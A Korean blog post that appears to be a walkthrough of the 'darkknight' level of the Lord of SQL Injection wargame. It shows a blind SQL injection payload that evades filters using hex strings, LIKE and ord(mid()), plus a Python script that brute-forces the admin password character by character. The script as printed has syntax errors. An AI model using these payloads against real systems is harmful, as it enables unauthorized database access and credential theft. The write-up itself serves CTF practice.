Network/LOS

[LOS_12]darkknight

dcho 2019. 8. 27. 17:43
SMALL

연달아 푸는 blind sql injection 문제  '  , substr , ascii , = 이렇게 4개가 필터링이 되어있다. 

문자열을 처리해줘야 참값을 알아낼텐데 고민하다 URL인코딩도 안되어서 어떻게 하지 하다가 전에 풀던 문제중 hex값으로 바꾸면 문제가 풀릴것같았다.

우선 admin의 no값을 알아냈다.

?pw=1 && no=0 || no LIKE 0x32 and id LIKE 0x61646D696E


사실 no는 그냥 한거고 이제 pw의 length를 구하고 난뒤(구해야하나 어짜피 8길이일듯하다) pw를 맞추면 된다.


길이 체크 완료.

이제 한글자 한글자씩 찾아줘야 하는데 ascii() 함수가 필터링 되어있기에 우회해주는 ord()함수를 이용해 준다. 

정리해주면 다음과 같다.


이를 이용해 파라미터 2개의 값을 넘겨주어 자동화 시켜주었다. 파라미터 한개인줄 알고 몇시간 고생한듯...;

import requests

headers = {"cookie": 'PHPSESSID=[Your Session ID]'} # 자신의 쿠키값

for i in range(1, 9) # 큰 반복분 8자리 이기에 9까지
    for j in range(48, 128# 작은 반복문 숫자부터 시작함

        params = {'pw': "1",
                  'no': "0 || id LIKE 0x61646D696E && ord(mid(pw," + str(i) + ",1)) LIKE " + str(j)}

        r = requests.get(url, params=params, headers=headers)

        if "Hello admin" in r.text: # 응답값에서 텍스트가 Hello admin이면 출력하고 다음자리로
            print(chr(j), end='')
            break

결과값 : 



클리어!



'Network > LOS' 카테고리의 다른 글

[LOS_14]giant  (0) 2019.08.28
[LOS_13]bugbear  (0) 2019.08.28
[LOS_11]golem  (0) 2019.08.27
[LOS_10]skeleton  (0) 2019.08.17
[LOS_9]vampire  (0) 2019.08.17